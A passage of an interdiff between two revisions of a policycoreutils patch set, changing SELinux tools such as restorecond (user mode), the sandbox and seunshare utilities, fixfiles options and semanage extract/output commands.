 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.c policycoreutils-2.0.74/restorecond/restorecond.c
 --- nsapolicycoreutils/restorecond/restorecond.c	2009-08-20 15:49:21.000000000 -0400
-+++ policycoreutils-2.0.74/restorecond/restorecond.c	2009-09-24 22:59:01.000000000 -0400
-@@ -48,294 +48,38 @@
++++ policycoreutils-2.0.74/restorecond/restorecond.c	2009-10-20 09:29:06.000000000 -0400
+@@ -30,9 +30,11 @@
+  * and makes sure that there security context matches the systems defaults
+  *
+  * USAGE:
+- * restorecond [-d] [-v]
++ * restorecond [-d] [-u] [-v] [-f restorecond_file ]
+  * 
+  * -d   Run in debug mode
++ * -f   Use alternative restorecond_file 
++ * -u   Run in user mode
+  * -v   Run in verbose mode (Report missing files)
+  *
+  * EXAMPLE USAGE:
+@@ -48,294 +50,38 @@
  #include <signal.h>
  #include <string.h>
  #include <unistd.h>
@@ -289,7 +338,7 @@ diff --exclude-from=exclude --exclude=se
 -		return;
 -	}
 -	retcontext = fgetfilecon_raw(fd, &prev_context);
--
+ 
 -	if (retcontext >= 0 || errno == ENODATA) {
 -		if (retcontext < 0)
 -			prev_context = NULL;
@@ -356,15 +405,16 @@ diff --exclude-from=exclude --exclude=se
 -   Files specified one per line.  Files with "~" will be expanded to the logged in users
 -   homedirs.
 -*/
- 
--static void read_config(int fd)
--{
--	char *watch_file_path = "/etc/selinux/restorecond.conf";
 +static char *server_watch_file  = "/etc/selinux/restorecond.conf";
 +static char *user_watch_file  = "/etc/selinux/restorecond_user.conf";
 +static char *watch_file;
 +static struct restore_opts r_opts;
  
+-static void read_config(int fd)
+-{
+-	char *watch_file_path = "/etc/selinux/restorecond.conf";
++#include <selinux/selinux.h>
+ 
 -	FILE *cfg = NULL;
 -	if (debug_mode)
 -		printf("Read Config\n");
@@ -383,7 +433,10 @@ diff --exclude-from=exclude --exclude=se
 -	if (master_wd == -1)
 -		exitApp("Error watching config file.");
 -}
-+#include <selinux/selinux.h>
++int debug_mode = 0;
++int terminate = 0;
++int master_wd = -1;
++int run_as_user = 0;
  
 -/* 
 -   Inotify watch loop 
@@ -427,11 +480,7 @@ diff --exclude-from=exclude --exclude=se
 -				break;
 -			}
 -		}
-+int debug_mode = 0;
-+int terminate = 0;
-+int master_wd = -1;
-+int run_as_user = 0;
- 
+-
 -		i += EVENT_SIZE + event->len;
 -	}
 -	return 0;
@@ -443,16 +492,16 @@ diff --exclude-from=exclude --exclude=se
  }
  
  static const char *pidfile = "/var/run/restorecond.pid";
-@@ -374,7 +118,7 @@
+@@ -374,7 +120,7 @@
  
  static void usage(char *program)
  {
 -	printf("%s [-d] [-v] \n", program);
-+	printf("%s [-d] [-s] [-f restorecond_file ] [-v] \n", program);
++	printf("%s [-d] [-f restorecond_file ] [-u] [-v] \n", program);
  	exit(0);
  }
  
-@@ -390,74 +134,33 @@
+@@ -390,74 +136,33 @@
     to see if it is one that we are watching.
  */
  
@@ -549,7 +598,7 @@ diff --exclude-from=exclude --exclude=se
  
  	/* Register sighandlers */
  	sa.sa_flags = 0;
-@@ -467,38 +170,59 @@
+@@ -467,38 +172,59 @@
  
  	set_matchpathcon_flags(MATCHPATHCON_NOTRANS);
  
@@ -559,7 +608,7 @@ diff --exclude-from=exclude --exclude=se
 -
 -	while ((opt = getopt(argc, argv, "dv")) > 0) {
 +	atexit( done );
-+	while ((opt = getopt(argc, argv, "uf:dv")) > 0) {
++	while ((opt = getopt(argc, argv, "df:uv")) > 0) {
  		switch (opt) {
  		case 'd':
  			debug_mode = 1;
@@ -620,7 +669,7 @@ diff --exclude-from=exclude --exclude=se
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.conf policycoreutils-2.0.74/restorecond/restorecond.conf
 --- nsapolicycoreutils/restorecond/restorecond.conf	2009-08-20 15:49:21.000000000 -0400
-+++ policycoreutils-2.0.74/restorecond/restorecond.conf	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.conf	2009-10-15 10:37:41.000000000 -0400
 @@ -4,8 +4,5 @@
  /etc/mtab
  /var/run/utmp
@@ -633,7 +682,7 @@ diff --exclude-from=exclude --exclude=se
 -
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.desktop policycoreutils-2.0.74/restorecond/restorecond.desktop
 --- nsapolicycoreutils/restorecond/restorecond.desktop	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/restorecond.desktop	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.desktop	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,7 @@
 +[Desktop Entry]
 +Name=File Context maintainer
@@ -644,7 +693,7 @@ diff --exclude-from=exclude --exclude=se
 +StartupNotify=false
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.h policycoreutils-2.0.74/restorecond/restorecond.h
 --- nsapolicycoreutils/restorecond/restorecond.h	2009-08-20 15:49:21.000000000 -0400
-+++ policycoreutils-2.0.74/restorecond/restorecond.h	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.h	2009-10-15 10:37:41.000000000 -0400
 @@ -24,7 +24,21 @@
  #ifndef RESTORED_CONFIG_H
  #define RESTORED_CONFIG_H
@@ -671,7 +720,7 @@ diff --exclude-from=exclude --exclude=se
  #endif
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.init policycoreutils-2.0.74/restorecond/restorecond.init
 --- nsapolicycoreutils/restorecond/restorecond.init	2009-08-20 15:49:21.000000000 -0400
-+++ policycoreutils-2.0.74/restorecond/restorecond.init	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.init	2009-10-15 10:37:41.000000000 -0400
 @@ -75,16 +75,15 @@
  	status restorecond
  	RETVAL=$?
@@ -691,17 +740,15 @@ diff --exclude-from=exclude --exclude=se
  
  exit $RETVAL
 -
-Binary files nsapolicycoreutils/restorecond/restorecond.o and policycoreutils-2.0.74/restorecond/restorecond.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond_user.conf policycoreutils-2.0.74/restorecond/restorecond_user.conf
 --- nsapolicycoreutils/restorecond/restorecond_user.conf	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/restorecond_user.conf	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond_user.conf	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,2 @@
 +~/*
 +~/public_html/*
-Binary files nsapolicycoreutils/restorecond/stringslist.o and policycoreutils-2.0.74/restorecond/stringslist.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/user.c policycoreutils-2.0.74/restorecond/user.c
 --- nsapolicycoreutils/restorecond/user.c	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/user.c	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/user.c	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,237 @@
 +/*
 + * restorecond
@@ -940,11 +987,9 @@ diff --exclude-from=exclude --exclude=se
 +    return 0;
 +}
 +
-Binary files nsapolicycoreutils/restorecond/user.o and policycoreutils-2.0.74/restorecond/user.o differ
-Binary files nsapolicycoreutils/restorecond/utmpwatcher.o and policycoreutils-2.0.74/restorecond/utmpwatcher.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/watch.c policycoreutils-2.0.74/restorecond/watch.c
 --- nsapolicycoreutils/restorecond/watch.c	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/watch.c	2009-10-06 12:06:56.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/watch.c	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,253 @@
 +#define _GNU_SOURCE
 +#include <sys/inotify.h>
@@ -1199,10 +1244,9 @@ diff --exclude-from=exclude --exclude=se
 +		exitApp("Error watching config file.");
 +}
 +
-Binary files nsapolicycoreutils/restorecond/watch.o and policycoreutils-2.0.74/restorecond/watch.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/basicwrapper policycoreutils-2.0.74/sandbox/deliverables/basicwrapper
 --- nsapolicycoreutils/sandbox/deliverables/basicwrapper	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/deliverables/basicwrapper	2009-08-14 10:53:53.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/deliverables/basicwrapper	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,4 @@
 +import os, sys
 +SANDBOX_ARGS = ['-f%s' % os.environ['_CONDOR_SCRATCH_DIR']]
@@ -1210,7 +1254,7 @@ diff --exclude-from=exclude --exclude=se
 +os.execv('/usr/bin/sandbox',SANDBOX_ARGS)
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/README policycoreutils-2.0.74/sandbox/deliverables/README
 --- nsapolicycoreutils/sandbox/deliverables/README	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/deliverables/README	2009-08-14 10:56:22.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/deliverables/README	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,32 @@
 +Files:
 +run-in-sandbox.py:
@@ -1246,7 +1290,7 @@ diff --exclude-from=exclude --exclude=se
 +Chris Pardy
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/run-in-sandbox.py policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py
 --- nsapolicycoreutils/sandbox/deliverables/run-in-sandbox.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py	2009-08-14 10:25:38.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,49 @@
 +import os
 +import os.path
@@ -1299,7 +1343,7 @@ diff --exclude-from=exclude --exclude=se
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/sandbox policycoreutils-2.0.74/sandbox/deliverables/sandbox
 --- nsapolicycoreutils/sandbox/deliverables/sandbox	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/deliverables/sandbox	2009-08-14 10:22:47.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/deliverables/sandbox	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,216 @@
 +#!/usr/bin/python -E
 +import os, sys, getopt, socket, random, fcntl, shutil
@@ -1519,7 +1563,7 @@ diff --exclude-from=exclude --exclude=se
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/Makefile policycoreutils-2.0.74/sandbox/Makefile
 --- nsapolicycoreutils/sandbox/Makefile	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/Makefile	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/Makefile	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,31 @@
 +# Installation directories.
 +PREFIX ?= ${DESTDIR}/usr
@@ -1554,7 +1598,7 @@ diff --exclude-from=exclude --exclude=se
 +relabel:
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandbox policycoreutils-2.0.74/sandbox/sandbox
 --- nsapolicycoreutils/sandbox/sandbox	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/sandbox	2009-10-06 11:48:36.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/sandbox	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,242 @@
 +#!/usr/bin/python -E
 +import os, sys, getopt, socket, random, fcntl, shutil
@@ -1800,7 +1844,7 @@ diff --exclude-from=exclude --exclude=se
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandbox.8 policycoreutils-2.0.74/sandbox/sandbox.8
 --- nsapolicycoreutils/sandbox/sandbox.8	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/sandbox.8	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/sandbox.8	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,26 @@
 +.TH SANDBOX "8" "May 2009" "chcat" "User Commands"
 +.SH NAME
@@ -1830,7 +1874,7 @@ diff --exclude-from=exclude --exclude=se
 +.PP
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandboxX.sh policycoreutils-2.0.74/sandbox/sandboxX.sh
 --- nsapolicycoreutils/sandbox/sandboxX.sh	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/sandboxX.sh	2009-09-20 21:51:31.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/sandboxX.sh	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,16 @@
 +#!/bin/bash 
 +export TITLE="Sandbox: `/usr/bin/tail -1 ~/.sandboxrc | /usr/bin/cut -b1-70`"
@@ -1850,7 +1894,7 @@ diff --exclude-from=exclude --exclude=se
 +done
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/seunshare.c policycoreutils-2.0.74/sandbox/seunshare.c
 --- nsapolicycoreutils/sandbox/seunshare.c	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/seunshare.c	2009-09-20 21:48:31.000000000 -0400
++++ policycoreutils-2.0.74/sandbox/seunshare.c	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,265 @@
 +#include <signal.h>
 +#include <sys/types.h>
@@ -2119,7 +2163,7 @@ diff --exclude-from=exclude --exclude=se
 +}
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/chcat policycoreutils-2.0.74/scripts/chcat
 --- nsapolicycoreutils/scripts/chcat	2009-06-23 15:36:07.000000000 -0400
-+++ policycoreutils-2.0.74/scripts/chcat	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/scripts/chcat	2009-10-15 10:37:41.000000000 -0400
 @@ -435,6 +435,8 @@
                      continue
      except ValueError, e:
@@ -2131,18 +2175,121 @@ diff --exclude-from=exclude --exclude=se
      
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/fixfiles policycoreutils-2.0.74/scripts/fixfiles
 --- nsapolicycoreutils/scripts/fixfiles	2009-08-05 15:10:56.000000000 -0400
-+++ policycoreutils-2.0.74/scripts/fixfiles	2009-10-14 08:51:36.000000000 -0400
-@@ -136,6 +136,7 @@
++++ policycoreutils-2.0.74/scripts/fixfiles	2009-10-22 08:49:41.000000000 -0400
+@@ -27,7 +27,6 @@
+ FORCEFLAG=""
+ DIRS=""
+ RPMILES=""
+-OUTFILES=""
+ LOGFILE=`tty`
+ if [ $? != 0 ]; then
+     LOGFILE="/dev/null"
+@@ -122,7 +121,7 @@
+ fi
+ if [ ! -z "$RPMFILES" ]; then
+     for i in `echo "$RPMFILES" | sed 's/,/ /g'`; do
+-	rpmlist $i | ${RESTORECON} ${OUTFILES} ${FORCEFLAG} $* -R -i -f - 2>&1 >> $LOGFILE
++	rpmlist $i | ${RESTORECON} ${FORCEFLAG} $* -R -i -f - 2>&1 >> $LOGFILE
+     done
+     exit $?
+ fi
+@@ -130,14 +129,15 @@
+     if [ -x /usr/bin/find ]; then
+ 	/usr/bin/find "$FILEPATH" \
+ 	    ! \( -fstype ext2 -o -fstype ext3 -o -fstype ext4 -o -fstype ext4dev -o -fstype gfs2 -o -fstype jfs -o -fstype xfs -o -fstype btrfs \) -prune  -o -print0 | \
+-	    ${RESTORECON} ${OUTFILES} ${FORCEFLAG} $* -0 -f - 2>&1 >> $LOGFILE
++	    ${RESTORECON} ${FORCEFLAG} $* -0 -f - 2>&1 >> $LOGFILE
+     else
+-	${RESTORECON} ${OUTFILES} ${FORCEFLAG} -R $* $FILEPATH 2>&1 >> $LOGFILE
++	${RESTORECON} ${FORCEFLAG} -R $* $FILEPATH 2>&1 >> $LOGFILE
      fi
      return
  fi
 +[ -x /usr/sbin/genhomedircon ] && /usr/sbin/genhomedircon
  LogReadOnly
- ${SETFILES} -q ${OUTFILES} ${SYSLOGFLAG} ${FORCEFLAG} $* ${FC} ${FILESYSTEMSRW} 2>&1 >> $LOGFILE
+-${SETFILES} -q ${OUTFILES} ${SYSLOGFLAG} ${FORCEFLAG} $* ${FC} ${FILESYSTEMSRW} 2>&1 >> $LOGFILE
++${SETFILES} -q ${SYSLOGFLAG} ${FORCEFLAG} $* ${FC} ${FILESYSTEMSRW} 2>&1 >> $LOGFILE
  rm -rf /tmp/gconfd-* /tmp/pulse-* /tmp/orbit-*
+ find /tmp \( -context "*:file_t*" -o -context "*:unlabeled_t*" \) -exec chcon -t tmp_t {} \;
+ find /var/tmp \( -context "*:file_t*" -o -context "*:unlabeled_t*" \) -exec chcon -t tmp_t {} \;
+@@ -193,10 +193,15 @@
+ esac
+ }
+ usage() {
+-      	echo $"Usage: $0 [-l logfile ] [-o outputfile ] { check | restore|[-F] relabel } [[dir] ... ] "
+-	echo or
+-      	echo $"Usage: $0 -R rpmpackage[,rpmpackage...] -C PREVIOUS_FILECONTEXT [-l logfile ] [-o outputfile ] { check | restore }"
+-      	echo $"Usage: $0 onboot"
++      	echo $"""
++Usage: $0 [-F] [-l logfile ] { check | restore| [-f] relabel | verify } [[dir/file] ... ] 
++or
++Usage: $0 [-F] -R rpmpackage[,rpmpackage...] [-l logfile ] { check | restore | verify }
++or
++Usage: $0 [-F] -C PREVIOUS_FILECONTEXT { check | restore | verify }
++or
++Usage: $0 onboot
++"""
+ }
+ 
+ if [ $# = 0 ]; then
+@@ -205,7 +210,7 @@
+ fi
+ 
+ # See how we were called.
+-while getopts "C:Ffo:R:l:" i; do
++while getopts "C:FfR:l:" i; do
+     case "$i" in
+ 	f)
+ 		fullFlag=1
+@@ -213,9 +218,6 @@
+         R)
+ 		RPMFILES=$OPTARG
+ 		;;
+-        o)
+-		OUTFILES=$OPTARG
+-		;;
+         l)
+ 		LOGFILE=$OPTARG
+ 		;;
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/fixfiles.8 policycoreutils-2.0.74/scripts/fixfiles.8
+--- nsapolicycoreutils/scripts/fixfiles.8	2008-08-28 09:34:24.000000000 -0400
++++ policycoreutils-2.0.74/scripts/fixfiles.8	2009-10-22 08:55:09.000000000 -0400
+@@ -3,11 +3,18 @@
+ fixfiles \- fix file SELinux security contexts.
+ 
+ .SH "SYNOPSIS"
+-.B fixfiles [-F] [ -R rpmpackagename[,rpmpackagename...] ] [ -C PREVIOUS_FILECONTEXT ] [-l logfile ] [-o outputfile ] { check | restore | [-F] relabel | verify }"
+ 
+-.B fixfiles [-F] [-l logfile ] [-o outputfile ] { check | restore|[-f] relabel | verify } [[dir/file] ... ] 
++.B fixfiles 
++.I [-F] [-l logfile ] { check | restore|[-f] relabel | verify } [[dir/file] ... ] 
+ 
+-.B fixfiles onboot
++.B fixfiles 
++.I [-F] [ -R rpmpackagename[,rpmpackagename...] ] [-l logfile ] { check | restore | verify }
++
++.B fixfiles 
++.I [ -C PREVIOUS_FILECONTEXT ] [-l logfile ] { check | restore | verify }
++
++.B fixfiles 
++.I onboot
+ 
+ .SH "DESCRIPTION"
+ This manual page describes the
+@@ -31,10 +38,6 @@
+ .B -l logfile
+ Save the output to the specified logfile
+ .TP 
+-.B -o outputfile
+-Save all files that have file_context that differs from the default, in outputfile.
+-
+-.TP 
+ .B -F
+ Force  reset  of  context to match file_context for customizable files
+ 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/Makefile policycoreutils-2.0.74/scripts/Makefile
 --- nsapolicycoreutils/scripts/Makefile	2008-08-28 09:34:24.000000000 -0400
-+++ policycoreutils-2.0.74/scripts/Makefile	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/scripts/Makefile	2009-10-15 10:37:41.000000000 -0400
 @@ -5,7 +5,7 @@
  MANDIR ?= $(PREFIX)/share/man
  LOCALEDIR ?= /usr/share/locale
@@ -2154,13 +2301,14 @@ diff --exclude-from=exclude --exclude=se
  	-mkdir -p $(BINDIR)
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/semanage policycoreutils-2.0.74/semanage/semanage
 --- nsapolicycoreutils/semanage/semanage	2009-09-08 09:03:10.000000000 -0400
-+++ policycoreutils-2.0.74/semanage/semanage	2009-10-01 11:43:48.000000000 -0400
-@@ -39,19 +39,26 @@
++++ policycoreutils-2.0.74/semanage/semanage	2009-10-30 16:31:40.000000000 -0400
+@@ -39,19 +39,27 @@
         __builtin__.__dict__['_'] = unicode
  
  if __name__ == '__main__':
+-
 +        action  = False
- 
++        manageditems=[ "boolean", "login", "user", "port", "interface", "node", "fcontext"]
 +        def set_action(option):
 +               global action
 +               if action:
@@ -2170,9 +2318,10 @@ diff --exclude-from=exclude --exclude=se
  	def usage(message = ""):
                 text = _("""
  semanage [ -S store ] -i [ input_file | - ]
++semanage [ -S store ] -o [ output_file | - ]
  
 -semanage {boolean|login|user|port|interface|node|fcontext|translation} -{l|D} [-n]
-+semanage {boolean|login|user|port|interface|module|node|fcontext} -{l|D} [-n]
++semanage {boolean|login|user|port|interface|module|node|fcontext} -{l|D|E} [-n]
  semanage login -{a|d|m} [-sr] login_name | %groupname
  semanage user -{a|d|m} [-LrRP] selinux_name
  semanage port -{a|d|m} [-tr] [ -p proto ] port | port_range
@@ -2184,7 +2333,17 @@ diff --exclude-from=exclude --exclude=se
  semanage boolean -{d|m} [--on|--off|-1|-0] -F boolean | boolean_file
  semanage permissive -{d|a} type
  semanage dontaudit [ on | off ]
-@@ -85,14 +92,15 @@
+@@ -62,7 +70,9 @@
+ 	-d, --delete     Delete a OBJECT record NAME
+ 	-m, --modify     Modify a OBJECT record NAME
+         -i, --input      Input multiple semange commands in a transaction 
++        -o, --output     Output current customizations as semange commands 
+ 	-l, --list       List the OBJECTS
++	-E, --extract    extract customizable commands
+ 	-C, --locallist  List OBJECTS local customizations
+ 	-D, --deleteall  Remove all OBJECTS local customizations
+ 
+@@ -85,14 +95,15 @@
          -F, --file       Treat target as an input file for command, change multiple settings
  	-p, --proto      Port protocol (tcp or udp) or internet protocol version of node (ipv4 or ipv6)
  	-M, --mask       Netmask
@@ -2202,7 +2361,16 @@ diff --exclude-from=exclude --exclude=se
  """)
                 raise ValueError("%s\n%s" % (text, message))
  		
-@@ -115,11 +123,11 @@
+@@ -104,7 +115,7 @@
+ 
+ 	def get_options():
+ 		valid_option={}
+-		valid_everyone=[ '-a', '--add', '-d', '--delete', '-m', '--modify', '-l', '--list', '-h', '--help', '-n', '--noheading', '-C', '--locallist', '-D', '--deleteall', '-S', '--store' ]
++		valid_everyone=[ '-a', '--add', '-d', '--delete', '-E', '--extract', '-m', '--modify', '-l', '--list', '-h', '--help', '-n', '--noheading', '-C', '--locallist', '-D', '--deleteall', '-S', '--store' ]
+ 		valid_option["login"] = []
+ 		valid_option["login"] += valid_everyone + [ '-s', '--seuser', '-r', '--range']
+ 		valid_option["user"] = []
+@@ -115,11 +126,11 @@
  		valid_option["interface"] += valid_everyone + [ '-t', '--type', '-r', '--range']
  		valid_option["node"] = []
  		valid_option["node"] += valid_everyone + [ '-M', '--mask', '-t', '--type', '-r', '--range', '-p', '--protocol']
@@ -2217,7 +2385,16 @@ diff --exclude-from=exclude --exclude=se
  		valid_option["boolean"] = []
  		valid_option["boolean"] += valid_everyone + [ '--on', "--off", "-1", "-0", "-F", "--file"] 
  		valid_option["permissive"] = []
-@@ -180,7 +188,6 @@
+@@ -173,6 +184,8 @@
+                return ret
+ 
+         def process_args(argv):
++                global action
++                action = False
+ 		serange = ""
+ 		port = ""
+ 		proto = ""
+@@ -180,7 +193,6 @@
  		selevel = ""
  		setype = ""
  		ftype = ""
@@ -2225,11 +2402,12 @@ diff --exclude-from=exclude --exclude=se
  		roles = ""
  		seuser = ""
  		prefix = "user"
-@@ -190,10 +197,13 @@
+@@ -190,10 +202,14 @@
  		modify = False
  		delete = False
  		deleteall = False
 +		enable = False
++		extract = False
 +		disable = False
  		list = False
  		locallist = False
@@ -2239,22 +2417,23 @@ diff --exclude-from=exclude --exclude=se
  			
  		object = argv[0]
  		option_dict=get_options()
-@@ -203,10 +213,13 @@
+@@ -203,10 +219,14 @@
  		args = argv[1:]
  
  		gopts, cmds = getopt.getopt(args,
 -					    '01adf:i:lhmnp:s:FCDR:L:r:t:T:P:S:M:',
-+					    '01ade:f:i:lhmnp:s:FCDR:L:r:t:P:S:M:',
++					    '01adEe:f:i:lhmnp:s:FCDR:L:r:t:P:S:M:',
  					    ['add',
  					     'delete',
  					     'deleteall',
 +					     'equal=',
 +					     'enable',
++					     'extract',
 +					     'disable',
  					     'ftype=',
  					     'file',
  					     'help',
-@@ -225,7 +238,6 @@
+@@ -225,7 +245,6 @@
  					     'level=',
  					     'roles=',
  					     'type=',
@@ -2262,7 +2441,7 @@ diff --exclude-from=exclude --exclude=se
  					     'prefix=',
                                               'mask='
  					     ])
-@@ -235,26 +247,39 @@
+@@ -235,26 +254,42 @@
  				
  		for o,a in gopts:
  			if o == "-a" or o == "--add":
@@ -2283,6 +2462,9 @@ diff --exclude-from=exclude --exclude=se
 +                                set_action(o)
  				deleteall = True
 +
++			if o == "-E"  or o == "--extract":
++                                set_action(o)
++				extract = True
  			if o == "-f"  or o == "--ftype":
  				ftype=a
  
@@ -2309,7 +2491,7 @@ diff --exclude-from=exclude --exclude=se
  
  			if o == "-n" or o == "--noheading":
  				heading = False
-@@ -263,8 +288,7 @@
+@@ -263,8 +298,7 @@
  				locallist = True
  
  			if o == "-m"or o == "--modify":
@@ -2319,7 +2501,7 @@ diff --exclude-from=exclude --exclude=se
  				modify = True
  				
  			if o == "-S" or o == '--store':
-@@ -297,9 +321,6 @@
+@@ -297,14 +331,12 @@
  			if o == "-t" or o == "--type":
  				setype = a
  
@@ -2329,7 +2511,13 @@ diff --exclude-from=exclude --exclude=se
                          if o == "--on" or o == "-1":
                                 value = "on"
                          if o == "--off" or o == "-0":
-@@ -325,9 +346,10 @@
+                                value = "off"
+ 
++
+ 		if object == "login":
+ 			OBJECT = seobject.loginRecords(store)
+ 
+@@ -325,9 +357,10 @@
  		
  		if object == "boolean":
  			OBJECT = seobject.booleanRecords(store)
@@ -2342,7 +2530,22 @@ diff --exclude-from=exclude --exclude=se
  		
  		if object == "permissive":
  			OBJECT = seobject.permissiveRecords(store)
-@@ -358,9 +380,6 @@
+@@ -343,8 +376,13 @@
+ 			OBJECT.deleteall()
+                         return
+ 			
++		if extract:
++                        for i in OBJECT.customized():
++                               print "%s %s" % (object, str(i))
++                        return
++			
+ 		if len(cmds) != 1:
+-                       raise ValueError(_("%s bad option") % o)
++                       raise ValueError(_("bad option"))
+                         
+                 target = cmds[0]
+ 
+@@ -358,9 +396,6 @@
  			if object == "login":
  				OBJECT.add(target, seuser, serange)
  
@@ -2352,7 +2555,7 @@ diff --exclude-from=exclude --exclude=se
  			if object == "user":
  				OBJECT.add(target, roles.split(), selevel, serange, prefix)
  
-@@ -370,11 +389,17 @@
+@@ -370,11 +405,17 @@
  			if object == "interface":
  				OBJECT.add(target, serange, setype)
  
@@ -2371,7 +2574,7 @@ diff --exclude-from=exclude --exclude=se
  			if object == "permissive":
  				OBJECT.add(target)
  
-@@ -387,13 +412,18 @@
+@@ -387,13 +428,18 @@
  			if object == "login":
  				OBJECT.modify(target, seuser, serange)
  
@@ -2393,7 +2596,7 @@ diff --exclude-from=exclude --exclude=se
  			if object == "port":
  				OBJECT.modify(target, proto, serange, setype)
  
-@@ -404,7 +434,10 @@
+@@ -404,7 +450,10 @@
  				OBJECT.modify(target, mask, proto, serange, setype)
  
  			if object == "fcontext":
@@ -2405,7 +2608,7 @@ diff --exclude-from=exclude --exclude=se
  
                          return
  
-@@ -423,7 +456,7 @@
+@@ -423,12 +472,13 @@
  
                          return
  
@@ -2414,13 +2617,103 @@ diff --exclude-from=exclude --exclude=se
  
  	#
  	# 
+ 	#
+ 	try:
++               output = None
+                input = None
+                store = ""
+ 
+@@ -436,7 +486,7 @@
